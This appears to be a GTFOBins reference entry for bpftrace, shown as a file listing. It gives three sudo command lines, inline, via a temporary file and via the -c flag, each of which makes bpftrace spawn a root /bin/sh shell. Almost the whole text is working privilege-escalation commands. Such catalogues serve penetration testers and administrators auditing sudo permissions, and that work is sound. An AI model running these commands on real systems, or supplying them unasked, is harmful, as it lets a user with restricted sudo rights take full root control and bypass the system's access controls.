GTFOBins.github.io/_gtfobins/bpftrace.md
2020-01-03 14:11:37 +01:00

260 B

functions
sudo
code
sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
code
TF=$(mktemp) echo 'BEGIN {system("/bin/sh");exit()}' >$TF sudo bpftrace $TF
code
sudo bpftrace -c /bin/sh -e 'END {exit()}'